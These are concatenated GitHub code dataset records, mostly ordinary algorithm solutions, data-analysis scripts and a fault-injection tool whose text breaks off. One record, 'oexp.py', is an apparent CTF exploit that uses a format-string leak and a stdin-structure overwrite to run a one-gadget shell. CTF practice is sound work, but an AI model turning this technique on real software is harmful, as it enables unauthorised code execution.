*\n would be a 4x4 input maze.\"\"\"\n file = open(file_name, \"rt\")\n lines = file.readlines()\n result = []\n for i in range(len(lines)):\n currentline = []\n currentline[:0] = lines[i].strip('\\n')\n result.append(currentline)\n self.the_maze = result\n\n\n def get_maze(self):\n\n \"\"\"Return a copy of the maze attribute\n this is a one-liner method \"\"\"\n return self.the_maze\n\n\n def is_clear(self, row, col):\n\n \"\"\"Return True if this cell is clear (pathway).\"\"\"\n if self.is_in_maze(row, col):\n if self.the_maze[row][col] in [\" \", \"$\"]:\n return True\n return False\n\n\n def is_in_maze(self, row, col):\n\n \"\"\"Return True if a cell is inside the maze.\"\"\"\n if row in range(self.get_row_size()) and col in range(self.get_col_size()):\n return True\n else:\n return False\n\n\n def set_value(self, row, col, value):\n\n \"\"\"Set the value to a cell in the maze\n For example, you will use this method to set the value of a cell to !, indicating that it has been visited \"\"\" \n self.the_maze[row][col] = str(value)\n\n\n def get_value(self, row, col):\n \n \"\"\"Return the value of the current cell.\"\"\"\n return self.the_maze[row][col]\n\n","repo_name":"mankinb/Mouse-in-a-Matrix","sub_path":"MazeBuilder.py","file_name":"MazeBuilder.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"42713637338","text":"# Time: O(2^(n + m)), Space: O(n + m)\ndef dfs(s1, s2):\n return dfsHelper(s1, s2, 0, 0)\n\ndef dfsHelper(s1, s2, i1, i2):\n if i1 == len(s1) or i2 == len(s2):\n return 0\n \n if s1[i1] == s2[i2]:\n return 1 + dfsHelper(s1, s2, i1 + 1, i2 + 1)\n else:\n return max(dfsHelper(s1, s2, i1 + 1, i2),\n dfsHelper(s1, s2, i1, i2 + 1))\n\n\n# Time: O(n * m), Space: O(n + m)\ndef memoization(s1, s2):\n N, M = len(s1), len(s2)\n cache = [[-1] * M for _ in range(N)]\n return memoHelper(s1, s2, 0, 0, cache)\n\ndef memoHelper(s1, s2, i1, i2, cache):\n if i1 == len(s1) or i2 == len(s2):\n return 0\n if cache[i1][i2] != -1:\n return cache[i1][i2]\n\n if s1[i1] == s2[i2]:\n cache[i1][i2] = 1 + memoHelper(s1, s2, i1 + 1, i2 + 1, cache)\n else:\n cache[i1][i2] = max(memoHelper(s1, s2, i1 + 1, i2, cache),\n memoHelper(s1, s2, i1, i2 + 1, cache))\n return cache[i1][i2]\n\n\n# Time: O(n * m), Space: O(n + m)\ndef dp(s1, s2):\n N, M = len(s1), len(s2)\n dp = [[0] * (M+1) for _ in range(N+1)]\n\n for i in range(N):\n for j in range(M):\n if s1[i] == s2[j]:\n dp[i+1][j+1] = 1 + dp[i][j]\n else:\n dp[i+1][j+1] = max(dp[i][j+1], dp[i+1][j])\n return dp[N][M]\n\n\n# Time: O(n * m), Space: O(m)\ndef optimizedDp(s1, s2):\n N, M = len(s1), len(s2)\n dp = [0] * (M + 1)\n\n for i in range(N):\n curRow = [0] * (M + 1)\n for j in range(M):\n if s1[i] == s2[j]:\n curRow[j+1] = 1 + dp[j]\n else:\n curRow[j+1] = max(dp[j + 1], curRow[j])\n dp = curRow\n return dp[M]\n","repo_name":"mouseinthehouse/Advanced-Algorithms","sub_path":"python/dynamicProgramming/lcs.py","file_name":"lcs.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"}
+{"seq_id":"40631472426","text":"# encoding: utf-8\n# author: Alan-learner\n\nimport math\nfrom collections import deque, defaultdict, Counter\nfrom math import inf\nfrom typing import List, Optional\nfrom bisect import bisect_left, bisect_right\nfrom functools import reduce\nfrom heapq import heappush, heappop, heapreplace, heapify\nfrom math import comb\nfrom executing import cache\nfrom yarl import cache_clear\n\nfrom numpy import lcm\nfrom sortedcontainers import SortedList\nfrom itertools import permutations, combinations, accumulate\n\nlowbit = lambda x: x & -x\nMOD = int(1e9 + 7)\nINF = int(1e20)\n\n\nclass Solution:\n def magnificentSets(self, n: int, edges: List[List[int]]) -> int:\n graph = [[] for _ in range(n)]\n # 建图\n for x, y in edges:\n x -= 1\n y -= 1\n graph[x].append(y)\n graph[y].append(x)\n\n time = [0] * n\n clock = 0\n\n def bfs(start: int) -> int:\n # 返回当前起始点所能获取的最大编号\n mx = 0\n nonlocal clock\n clock += 1\n time[start] = clock\n q = deque([(start, base)])\n while q:\n nd, idx = q.popleft()\n # 动态记录所有点的编号,保留最大编号\n mx = max(mx, idx)\n for nst in graph[nd]:\n if time[nst] != clock:\n # 时间不相同,未被访问\n time[nst] = clock\n q.append((nst, idx + 1))\n return mx\n\n color = [0] * n\n\n def dfs(nd: int, col: int) -> bool:\n color[nd] = col # 给当前节点染色\n node.append(nd)\n for nst in graph[nd]:\n if color[nst] == col:\n # 相邻节点被染成了同一种颜色,则存在奇数环\n return False\n if color[nst] == 0:\n # 下一个节点还未被染色\n if not dfs(nst, -col):\n # 邻居不行的话,同样不行\n return False\n return True\n\n ans = 0\n for i, c in enumerate(color):\n if c:\n # 已经被访问(染色)过\n continue\n node = []\n if not dfs(i, 1):\n # 存在奇数环\n return -1\n base = ans + 1\n for x in node:\n # 枚举每一个节点所产生的最大编号\n ans = max(ans, bfs(x))\n return ans\n\n\ndef main():\n s = Solution()\n res = s.magnificentSets(92,\n [[67, 29], [13, 29], [77, 29], [36, 29], [82, 29], [54, 29], [57, 29], [53, 29], [68, 29],\n [26, 29], [21, 29], [46, 29], [41, 29], [45, 29], [56, 29], [88, 29], [2, 29], [7, 29],\n [5, 29], [16, 29], [37, 29], [50, 29], [79, 29], [91, 29], [48, 29], [87, 29], [25, 29],\n [80, 29], [71, 29], [9, 29], [78, 29], [33, 29], [4, 29], [44, 29], [72, 29], [65, 29],\n [61, 29]])\n print(res)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alan-learner/Algorithm","sub_path":"Platform/Leetcode/Weekly/week322/week322_t4-graph-check_cycle-dfs-bfs.py","file_name":"week322_t4-graph-check_cycle-dfs-bfs.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16806494753","text":"# BOJ 1992 쿼드트리\n# 220919\n\nimport sys\ninput = sys.stdin.readline\n\n# 입력값 받기\nN = int(input())\narr = [ input() for _ in range(N)]\n\n# 한 영역을 기준으로 모든 원소의 값이 같은지 확인\ndef quadTree(i_start=0, i_end=N-1, j_start=0, j_end=N-1):\n # 영역 왼쪽 위의 첫번째 원소의 값을 기준으로 비교\n num = arr[i_start][j_start]\n # flag\n status = True\n # 전체 영역을 순회하면서 비교\n for i in range(i_start, i_end+1):\n # flag가 True일 때만 계속 진행\n if not status:\n break\n for j in range(j_start, j_end+1):\n # 하나라도 숫자가 다르면 flag 세우고 중단\n if arr[i][j] != num:\n status = False\n break\n # flag가 True면 모든 숫자가 같다는 뜻으로\n # 해당 숫자를 반환\n if status:\n return num\n # flag가 False면 숫자가 다르다는 뜻으로\n # 영역을 4분할하여 재귀 호출\n else:\n i_mid = (i_start + i_end) // 2\n j_mid = (j_start + j_end) // 2\n return '({}{}{}{})' .format(quadTree(i_start, i_mid, j_start, j_mid), quadTree(i_start, i_mid, j_mid+1, j_end), quadTree(i_mid+1, i_end, j_start, j_mid), quadTree(i_mid+1, i_end, j_mid+1, j_end))\n\nprint(quadTree())","repo_name":"joney0715/Algorithm_GroupStudy","sub_path":"angielxx/0921/personal_1992_쿼드트리/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"362460201","text":"import sys, os, csv, codecs, citation_filtering\nfrom scopus_publication import ScopusPublication\n\ndef main():\n shared = 0.10\n year = 2018\n\n review = 'seeds'\n studies_folder = ''\n data_folder = ''\n output_file = 'rake_results.csv'\n\n print('Getting list of included studies..')\n seeds = []\n with open(os.path.join(studies_folder, review, 'included.csv')) as f:\n for line in f:\n seeds.append(line.strip().split(',')[1])\n\n print('Getting citation space..')\n scopus_pubs = {}\n for seed in seeds:\n scopus_pubs[seed] = ScopusPublication(data_folder, seed)\n scopus_pubs[seed].filter_citations(year)\n scopus_pubs[seed].get_co_cited_eids()\n \n\n print('Getting strong citation relationships..')\n strong_cite_related_pub_eids = set()\n for seed in seeds:\n strong_cite_related_pub_eids = strong_cite_related_pub_eids.union(citation_filtering.get_strong_citation_relationship(scopus_pubs[seed], shared))\n\n strong_cite_related_pubs = []\n for eid in strong_cite_related_pub_eids:\n strong_cite_related_pubs.append(ScopusPublication(data_folder, eid, False))\n\n print('Getting seed keywords..')\n seed_keywords = set()\n for seed in seeds:\n seed_keywords = seed_keywords.union(scopus_pubs[seed].rake_keywords)\n\n bigram_trigram_keywords = set()\n for seed_keyword in seed_keywords:\n total_words = len(seed_keyword.split())\n if total_words == 2 or total_words == 3:\n bigram_trigram_keywords.add(seed_keyword)\n\n print('Filtering by keywords..')\n strong_related_pubs = []\n for strong_cite_related_pub in strong_cite_related_pubs:\n if len(bigram_trigram_keywords.intersection(strong_cite_related_pub.rake_keywords)) > 0:\n strong_related_pubs.append(strong_cite_related_pub)\n\n print('Writing results to file..')\n with codecs.open(output_file, 'w', 'utf-8') as o:\n fieldnames = ['SCOPUS_ID', 'TITLE', 'ABSTRACT']\n writer = csv.DictWriter(o, delimiter = '\\t', fieldnames = fieldnames)\n writer.writeheader()\n\n for strong_related_pub in strong_related_pubs:\n writer.writerow({'SCOPUS_ID' : strong_related_pub.eid, 'TITLE' : strong_related_pub.title, 'ABSTRACT' : strong_related_pub.abstract})\n\nif __name__ == \"__main__\":\n main()","repo_name":"janinaj/lit-review-search","sub_path":"run_keyword.py","file_name":"run_keyword.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"35308960488","text":"from src.collection.twitter.connection import twitter_setup\nfrom src.collection.collect import get_username, get_replies, get_tweets_query\nimport time\n\n# Note: running these tests puts heavy pressure on the API.\n# Do make sure not too many requests have been made beforehand.\n# By precaution, all tests executing a query start by 15 seconds sleep time.\n\nclass TestCollect:\n def get_username_test(self):\n tweet_id = 1194320833977733123\n assert get_username(tweet_id, twitter_api) == \"BorisJohnson\"\n\n def get_replies_test(self):\n time.sleep(15)\n\n #Tweet from Boris Johnson\n tweet_id = 1194320833977733123\n tweet_list = get_replies(tweet_id, twitter_api, \"english\")\n\n assert tweet_list != []\n # l may be empty for some reason (too many requests in too short a time?)\n # If so, try again later.\n\n assert tweet_list[0].in_reply_to_status_id == tweet_id\n\n def get_tweets_query_test(self):\n time.sleep(15)\n #This test asserts that at least one of the results from a search with keywords \"donald trump\"\n #contains \"trump\" in its text.\n\n tweet_list = get_tweets_query(\"trump\", twitter_api, \"english\")\n assert tweet_list != []\n # l may be empty for some reason (too many requests in too short a time?)\n # If so, try again later.\n\n relevancy = False\n for tweet in tweet_list:\n if \"trump\" in tweet._json[\"full_text\"].casefold():\n relevancy = True\n break\n assert relevancy == True\n \ntwitter_api = twitter_setup()\n\ntest = TestCollect()\ntest.get_username_test()\ntest.get_tweets_query_test()\ntest.get_replies_test()","repo_name":"raphael-gr/Insult-Detector","sub_path":"tests/collect_test.py","file_name":"collect_test.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"42095050316","text":"from pwn import *\ncontext.update(arch='amd64', log_level='debug')\ncontext.terminal=['tmux','splitw','-h']\n#p = remote('111.198.29.45','30380')\np = process('./echo_back')\nl = ELF('/libc64.so')\ne = ELF('./echo_back')\n\ndef echo(length, data):\n p.sendlineafter('>>', '2')\n p.sendafter('length', str(length))\n p.send(str(data))\n try:\n p.recvuntil('anonymous say:',timeout=0.5)\n return p.recvuntil('-----', drop=True)\n except Exception as e:\n pass\n\ndef set_name(data):\n p.sendlineafter('>>', '1')\n p.sendafter('name', str(data))\n\ndef dbg(code=''):\n gdb.attach(p,code)\n\nif __name__ == '__main__':\n l.address = int(echo('7\\n', '%2$p'), 16) - 0x3c6780\n e.address = int(echo('7\\n', '%6$p'), 16) - 0xef8\n stack_addr = int(echo('7\\n', '%7$p'), 16) - 0x18\n set_name(p64(l.symbols['_IO_2_1_stdin_']+0x38))\n echo('7\\n', '%16$hhn\\n')\n echo(str(p64(l.address+0x3c4963)*3+p64(stack_addr)+p64(stack_addr+8)), '\\n')\n for _ in range(0x27):\n p.sendlineafter('>>', '2')\n p.sendlineafter('length', '')\n dbg(\"breakrva 0xbd5\")\n p.sendlineafter('>>', '2')\n p.sendlineafter('length', p64(l.address+0x45216))\n p.sendline()\n p.interactive()\n\n","repo_name":"Mask6asok/CTFchallenge","sub_path":"PWN/adworld/echo_back/oexp.py","file_name":"oexp.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"42713274186","text":"\nfrom collections import deque\nimport heapq\n\nimport sys\n\n\ndef read():\n return sys.stdin.readline().rstrip()\n\n\nN = int(read())\na = []\nfor _ in range(N):\n a.append(int(read()))\na.sort(reverse=True)\n\nanswer = 0\nseq = 1\nfor i in range(N):\n tip = a[i]-(seq-1)\n if tip <= 0:\n continue\n answer += tip\n seq += 1\n\nprint(answer)\n","repo_name":"SJ0000/PS","sub_path":"BOJ/BOJ_1758.py","file_name":"BOJ_1758.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"6470597592","text":"s=input()\na=[]\nb=[]\nf=False\nc=[]\nfor i in s:\n c.append(i)\n if i not in a:\n a.append(i)\n else:\n b.append(i)\nfor k in a:\n if k not in b:\n f=True\n for m in range(len(c)):\n if k in c[m]:\n print(m)\n break\n if k in c[m]:\n break\nif f==False:\n print(-1)","repo_name":"21A95A0425/codemind-python","sub_path":"First_Unique_Character_in_a_String.py","file_name":"First_Unique_Character_in_a_String.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"15069779649","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Project 2: TMDB Movies \n# \n# ## Table of Contents\n#
\n\n# \n# ## Introduction\n# In this project, I will analyze TMDB movies dataset based on multiple criteria which are genres, year of release, and more.\n# I will walk through TMDB Movies dataset to answer multiple questions:\n# - What is the most \"genres\" who has the highest average vote?\n# - What is the most frequent average voting ?\n# - Which genres has the highes and lowest run time ?\n# - Which year has highest / lowest release movies \n# - Which year has highest / lowest average vote ?\n# - Which movie has the highest profit ?\n# - What is the movie who has the highest lost ?\n# \n\n# In[125]:\n\n\nimport numpy as np \nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# \n# ## Data Wrangling\n# \n# - Upload the data and try take an overview on it and see its attribute\n# - Check how many columns and rows there are \n# - Chech the data type and if there are a nulls values \n# - See the summary statistics of each attribute \n# - Drop the duplicated row and make sure its deleted by see how many row we have \n# - See the disribution of each attribute \n# - Drop some attributes that i will not use in my analysis e.g. id and imdb_id etc...\n# - Replace the null with N/A. \n# - Droped the nulls in 'genres'.\n# - Changed release_year data type to datetime. \n# - Replace the zero values in revenue_adj and budget_adj columns with mean.\n# - Make sure everything is changed and it's clean. \n\n# In[126]:\n\n\ndf = pd.read_csv(r'C:\\Users\\Hp\\Desktop\\Data Analysis\\tmdb-movies.csv')\ndf.head()\n\n\n# In[127]:\n\n\ndf.shape\n\n\n# In[128]:\n\n\ndf.info()\n\n\n# In[129]:\n\n\ndf.describe()\n\n\n# In[130]:\n\n\nsum(df.duplicated())\n\n\n# In[131]:\n\n\ndf.drop_duplicates(keep = 'first', inplace =True)\n\n\n# In[132]:\n\n\ndf.shape\n\n\n# In[133]:\n\n\ndf.hist(figsize=(10,10))\n\n\n# ## Data Cleaning\n\n# In[134]:\n\n\ndf.drop(['id', 'imdb_id', 'homepage', 'tagline', 'budget', 'revenue', 'keywords'], \n axis = 1, inplace = True)\ndf.head()\n\n\n# In[135]:\n\n\ndf['director'].fillna('N/A', inplace = True)\ndf['production_companies'].fillna('N/A', inplace = True)\ndf['overview'].fillna('N/A', inplace = True)\ndf['cast'].fillna('N/A', inplace = True)\n\n\n# In[136]:\n\n\ndf.dropna(inplace = True)\n\n\n# In[137]:\n\n\ndf['release_date'] = pd.to_datetime(df['release_date'])\n\n\n# In[138]:\n\n\nbudget_mean = df['budget_adj'].mean()\nrevenue_mean = df['revenue_adj'].mean()\nruntime_mean = df['runtime'].mean()\nbudget_mean, revenue_mean, runtime_mean\n\n\n# In[139]:\n\n\ndf['budget_adj']= df['budget_adj'].replace(0, budget_mean)\ndf['revenue_adj']= df['revenue_adj'].replace(0, revenue_mean)\ndf['runtime']= df['runtime'].replace(0, runtime_mean)\ndf.describe()\n\n\n# In[140]:\n\n\ndf.info()\n\n\n# In[141]:\n\n\ndf.head()\n\n\n# \n# ## Exploratory Data Analysis\n# \n# \n# \n# ### Research Question 1: What is the most \"genres\" who has the highest average vote?\n\n# In[142]:\n\n\ndf.groupby('genres').vote_average.mean()\n\n\n# #### the most average vote is \"War|Drama|Action|Adventure|History\" has an average with 7.8 out of 10 and that makes a sense because a lot of people who prefer that kind of movies and the leats average vote is \"Western|Horror|Thriller\" and maybe because many people don't like horror movies\n\n# ### Research Question 2: What is the most frequent average voting ?\n\n# In[143]:\n\n\ndf.groupby('genres').vote_average.mean().plot(kind = 'hist', figsize = (8,8), fontsize = 10) \nplt.title('The most frequnet average voting based on genres', fontsize = 15)\nplt.legend();\n\n\n# ### We can notice the most frequent average voting is 6 and that makes sense because a lot of movies has this average.\n\n# ### Research Question 3: Which genres has the highes and lowest run time ?\n\n# In[144]:\n\n\ndf.groupby(['genres']).runtime.mean()\n\n\n# ### The historical movies (War|Drama|Action|Adventure|History) its take the most average runtime 540 min and that because its a real story so it takes time to cover, and family & fantasy movies (Action|Adventure|Animation|Family|Fantasy) its take the lest average runtime 56 min and maybe that because they don't want the kids to get bored.\n\n# ### Research Question 4: Which year has highest / lowest release movies \n\n# In[145]:\n\n\ndf.groupby(['release_year']).genres.count().plot(kind='barh', figsize=(12,12), fontsize = 10) \nplt.title('Which year has highest / lowest release movies', fontsize = 15)\nplt.legend();\n\n\n# ### The highest year whose release is 2014 by 699 movies and the lowest are 1961 and 1969 31 movies.\n\n# ### Research Question 5: Which year has highest / lowest average vote ? \n\n# In[146]:\n\n\ndf.groupby('release_year').vote_average.mean()\n\n\n# ### In 1973 has the highest average vote 6.7 and I have checked the movies in that year and nothing was very popular in that year but I noticed that a lot of movies the vote is between 7 and 8 and I think that the reason. And 2012 has the lowest average vote 5.79 and also I have checked the movies and I was shocked by the greatest movies was released in that year e.g.(The Dark Knight Rises, Django Unchained, & The Avengers, etc...) and that because there are more than 100 (18%)out of 584 movies the vote in between 1 - 2.5. \n\n# In[147]:\n\n\ndf['Profit'] = df['revenue_adj'] - df['budget_adj']\ndf.head()\n\n\n# ### Research Question 6: Which movie has the highest profit ?\n\n# In[148]:\n\n\nhigh_profit = df['Profit'].idxmax\ndf.loc[high_profit]\n\n\n# ### Star Wars 1977 is the highest profit its genres is Adventure|Action|Science with a profit $2,750,140,000\n\n# ### Research Question 7: What is the movie who has the highest lost ?\n\n# In[149]:\n\n\nlow_profit = df['Profit'].idxmin\ndf.loc[low_profit]\n\n\n# ### The Warrior's Way 2010 has the highest lost -$413,912,000 and its genres are Adventure|Fantasy|Action|Western|Thriller\n\n# ### Research Question 8: Does the popularity affected by the average vote?\n\n# In[150]:\n\n\ndf.plot(x='vote_average', y='popularity', kind='scatter', figsize = (8,8), fontsize = 10, label= 'popularity') \nplt.title('Which year has highest / lowest release movies', fontsize = 15)\nplt.legend();\n\n\n# ### As we can see in the chart the answer is Yes because of the vote average increase the popularity will increase as well.\n\n# ### Research Question 8: Does the popularity of the movies increase over the years?\n\n# In[151]:\n\n\ndf.plot(x='release_year', y='popularity', kind='scatter', figsize = (8,8), fontsize = 10, label= 'popularity') \nplt.title('Does the popularity increasing over the years?', fontsize = 15)\nplt.legend();\n\n\n# ### We can notice the popularity is vacillating over the years but in general it's increasing\n\n# \n# ## Conclusions\n# \n# first of all, I try to discover and understand the data by seeing its attributes and see how many columns and rows and see if there are any null values and check the data type and see the summary statistics of each attributes then a try to find if there is any duplicated row then I delete it finally I try to see the distribution of each attribute. \n# \n# secondly, I start cleaning by drop some attributes that will be useless such as id, imdb_id, homepage, tagline, keywords, etc...\n# then I replace the nulls values with N/A and the one who has a few nulls I dropped them. \n# \n# finally, I start data exploratory by some asking questions such as see the most \"genres\" who has the highest average voting, Which genres has the highest and lowest run time, Which year has highest / lowest average vote and finally see the movie who has the highest profit and highest lost. \n# \n# ### Limitations\n# 1- There is a duplicate row and I dropped it so the analysis be correct. \n# \n# 2- I dropped some extraneous columns in the data wangling process. Some of them may yield other useful results, e.g. id, tmdb_id, homepage, etc...\n# \n# 3- There are a lot of attributes that have null values some of them I replace it with N/A because it has a high number of null and it doesn't affect the analysis directly and the other I dropped them because it few and it affects the analyzing.\n# \n# 4- There are many of zero values in revenue_adj and budget_adj columns.I replace the zero value with mean. There might be alternative ways to better process to this kind of issue. \n# \n# 5- Some of the movies have more than one genre and that will affect the level of accuracy of the analysis.\n","repo_name":"Abdulellah98/Investigate-Dataset","sub_path":"investigate-a-dataset-template.py","file_name":"investigate-a-dataset-template.py","file_ext":"py","file_size_in_byte":8599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31410580081","text":"import csv\nimport json\nimport requests\nimport asyncio\nfrom timeout_predictor import timeout_predictor\nimport time\n\n\ndef add_log(log):\n file_name = 'log_packet_rate.csv'\n \n with open(file_name, 'a', newline = '') as logs:\n writer = csv.writer(logs)\n writer.writerow(log)\n\n\nasync def install_flow_entry(eth_src,\n eth_dst,\n ip_proto,\n ip_src,\n ip_dst,\n tp_src,\n tp_dst,\n row_count):\n \n flowkey = ip_src + '-' + ip_dst + '-' + eth_src + '-' + eth_dst + '-' + ip_proto\n min_timeout = 1\n max_timeout = 11\n\n flow_entry={}\n flow_entry[\"dpid\"] = \"1\"\n flow_entry[\"table_id\"] = \"0\"\n\n flow_entry[\"idle_timeout\"] = timeout_predictor(flowkey, min_timeout, max_timeout)\n\n match_obj={}\n if eth_src:\n match_obj['eth_src'] = eth_src\n\n if eth_dst:\n match_obj['eth_dst'] = eth_dst\n\n if ip_proto :\n match_obj['ip_proto'] = int(ip_proto)\n\n if ip_src:\n match_obj['eth_type'] = 2048\n match_obj['ipv4_src'] = ip_src\n if ip_dst:\n match_obj['eth_type'] = 2048\n match_obj['ipv4_dst'] = ip_dst\n\n if tp_src:\n match_obj['tp_src'] = tp_src\n\n if tp_dst:\n match_obj['tp_dst'] = tp_dst\n\n flow_entry['match'] = match_obj\n\n action_obj={}\n action_obj['type'] = \"OUTPUT\"\n action_obj['port'] = \"10\"\n\n flow_entry['actions'] = []\n flow_entry['actions'].append(action_obj)\n\n # all log\n log = [time.time(), flowkey]\n add_log(log)\n\n response = requests.post(\"http://localhost:8080/stats/flowentry/add\", data = json.dumps(flow_entry))\n print(response.status_code)\n\n # if response.status_code == 200:\n # pass\n # else:\n # print(response.status_code)\n\n\nasync def main():\n with open(\"univ1_pt0.csv\",newline='') as csvfile:\n datapackets = csv.DictReader(csvfile)\n # a = asyncio.get_event_loop()\n tasks = []\n count = 0\n batch_size = 10\n row_count = 0\n\n for row in datapackets:\n count += 1\n row_count += 1\n print(json.dumps(row))\n\n tasks.append(\n install_flow_entry(row[\"eth.src\"],\n row[\"eth.dst\"],\n row[\"ip.proto\"],\n row[\"ip.src\"],\n row[\"ip.dst\"],\n row[\"tcp.srcport\"],\n row[\"tcp.dstport\"],\n \n row_count))\n\n if count == batch_size:\n await asyncio.gather(*tasks, return_exceptions=False)\n tasks = []\n count = 0\n\nasyncio.run(main())\n\n#a.run_until_complete(main())","repo_name":"DigitalKhalid/sdn_flowtable_optimization","sub_path":"app/Parse_Univ_data.py","file_name":"Parse_Univ_data.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"15684888624","text":"#Fault Injection Tool\r\n#Writes to output file 'output.cc' by default\r\n#Consider: ~need to deal with block comments\r\n# ~make sure file doesnt contain functions by the names of those inserted\r\n#Assumed: ~function to perturb provided\r\n# ~perturb all += computations in a for loop\r\n# ~inject() func exists (and works)\r\n# ~type of z is double (for min/max in inject func)\r\n# ~error rate is stored in error_rate function\r\n\r\nimport re, sys\r\n\r\n#takes the result of readlines() and first line of a function\r\n#returns last line of the function\r\ndef boundaries(lines, sline) :\r\n numlines = len(lines)\r\n seen = 0\r\n count = 0\r\n cend = 0\r\n for line in range(sline, numlines) :\r\n current = lines[line]\r\n if (line <= cend) :\r\n continue #we are inside a block comment\r\n if (current.find(\"/*\") != -1) :\r\n cend = block(lines, line)\r\n current = current[:current.find(\"/*\")]\r\n if (current.find(\"//\") != -1) :\r\n current = current[:current.find(\"//\")] #ignore anything after '//'\r\n if (current.count(\"{\") != 0) :\r\n count += current.count(\"{\")\r\n seen = 1 #want to make sure we have seen a { before giving up\r\n if (current.count(\"}\") != 0) :\r\n count -= current.count(\"}\")\r\n if ((count == 0) & (seen != 0)) :\r\n return line\r\n\r\n#returns last line of a block comment (c code, so */)\r\ndef block(lines, sline) :\r\n numlines = len(lines)\r\n for line in range(sline, numlines) :\r\n current = lines[line]\r\n if (current.find(\"*/\") != -1) :\r\n return line\r\n\r\n#determine first line of innermost for loop\r\ndef innermost(lines, sline, eline) :\r\n #if we know there's def no more loops, don't waste time looking\r\n #if (' '.join(lines[sline+1:eline]).count('for') == 0) :\r\n # return sline\r\n cend = 0\r\n for line in range(sline+1, eline) :\r\n current = lines[line]\r\n if (line <= cend) :\r\n continue #we are inside a block comment\r\n if (current.find(\"/*\") != -1) :\r\n cend = block(lines, line)\r\n current = current[:current.find(\"/*\")]\r\n if (current.find(\"//\") != -1) :\r\n current = current[:current.find(\"//\")]\r\n #if ((current.split().count(\"for\") != 0) :\r\n if (current.find(\"for\") != -1) :\r\n e = boundaries(lines, line)\r\n return innermost(lines, line, e)\r\n return sline\r\n \r\n#takes lines and boundaries of function, finds a += computation in a\r\n#for loop and injects error into it by calling inject() function\r\ndef perturb(lines, start, end) :\r\n s = innermost(lines, start, end)\r\n e = boundaries(lines, s)\r\n print(s, \" : \", e, \" Boundaries of for loop\")\r\n for l in range(s, e) :\r\n cur = lines[l]\r\n #if not(cur.find(\"+=\") == -1) :\r\n if (cur.count(\"+=\") != 0) :\r\n loc = cur.find(\"+=\")\r\n print(\"found += at line \", l+1, \" and loc \", loc)\r\n loc += 2 #move 'pointer' to account for '+='\r\n front = cur[:loc]\r\n scol = cur.find(\";\")\r\n back = cur[loc:scol] #strip the ;\\n\r\n perturbed = front + ' inject(' + back + ');\\n'\r\n lines[l] = perturbed\r\n print(\"Perturbed line \", l+1)\r\n print(lines[l][:-1])\r\n \r\n#create and write output file line by line\r\ndef output(lines) :\r\n with open(outname, 'w') as out :\r\n for line in lines :\r\n out.write(line)\r\n\r\n#Add the necessary functions/code to the code from the original file\r\n#Takes in parsed error code file and readlines from original file\r\ndef merge(parsed, lines) :\r\n stdlib = 0\r\n floatlib = 0\r\n newlines = []\r\n incl = parsed['incl']\r\n decl = parsed['decl']\r\n func = parsed['func']\r\n last = []\r\n #first the includes. avoid duplicates\r\n for item in incl :\r\n if (lines.count(item) != 0) :\r\n incl.remove(item)\r\n for num, line in enumerate(lines) :\r\n #if we see an include statement, note the line number\r\n if (line.find(\"#include\") != -1) :\r\n last.append(num)\r\n newlines.append(line)\r\n #insert declarations after the last '#include' statement\r\n for d in range(len(decl)) :\r\n final = max(last) #should be the last '#include' statement\r\n newlines.insert(final+1+d, decl[d])\r\n #insert includes at the top\r\n for i in range(len(incl)) :\r\n newlines.insert(i, incl[i])\r\n #insert functions at the bottom\r\n newlines.append('\\n')\r\n for f in func :\r\n newlines.append(f)\r\n return newlines \r\n\r\n#Parses the error file\r\n#identifies functions by looking for '//function' on the preceding line\r\n#Returns dict{includes; declarations; functions}\r\ndef parsefile(ename) : \r\n with open(ename, 'r') as file :\r\n result = {\"incl\":[], \"decl\":[], \"func\":[]}\r\n lines = file.readlines()\r\n end = 0\r\n for line, cur in enumerate(lines) :\r\n if (line < end) :\r\n continue #we are inside a function\r\n if (cur.find(\"#include\") != -1) :\r\n result['incl'].append(cur)\r\n elif (cur.find(\";\") != -1) :\r\n result['decl'].append(cur)\r\n elif (cur.find(\"//function\") != -1) :\r\n start = line+1\r\n end = boundaries(lines, start)\r\n for l in lines[start:end+1] :\r\n result['func'].append(l)\r\n return result\r\n\r\n#checks if instance of function is a definition or prototype\r\n#obviously incomplete still....\r\ndef checkdef(lines, sline) :\r\n current = lines[sline]\r\n \r\n \r\n#MAIN PROGRAM\r\n\r\nfilename = input(\"File to read: \")\r\n#outname = input(\"Output file name: \")\r\noutname = \"output.cc\" #comment this out if user chooses output filename\r\n#errorname = input(\"Error code file: \")\r\nerrorname = \"i.cc\" #comment this out if user specifies error file\r\nfunctions = input(\"Functions to perturb (separate w/ spaces): \")\r\nrate = input(\"Error rate: \")\r\n\r\nwith open(filename, 'r') as file :\r\n lines = file.readlines()\r\n parsed = parsefile(errorname)\r\n for num, d in enumerate(parsed['decl']) : #account for user specified rate\r\n if 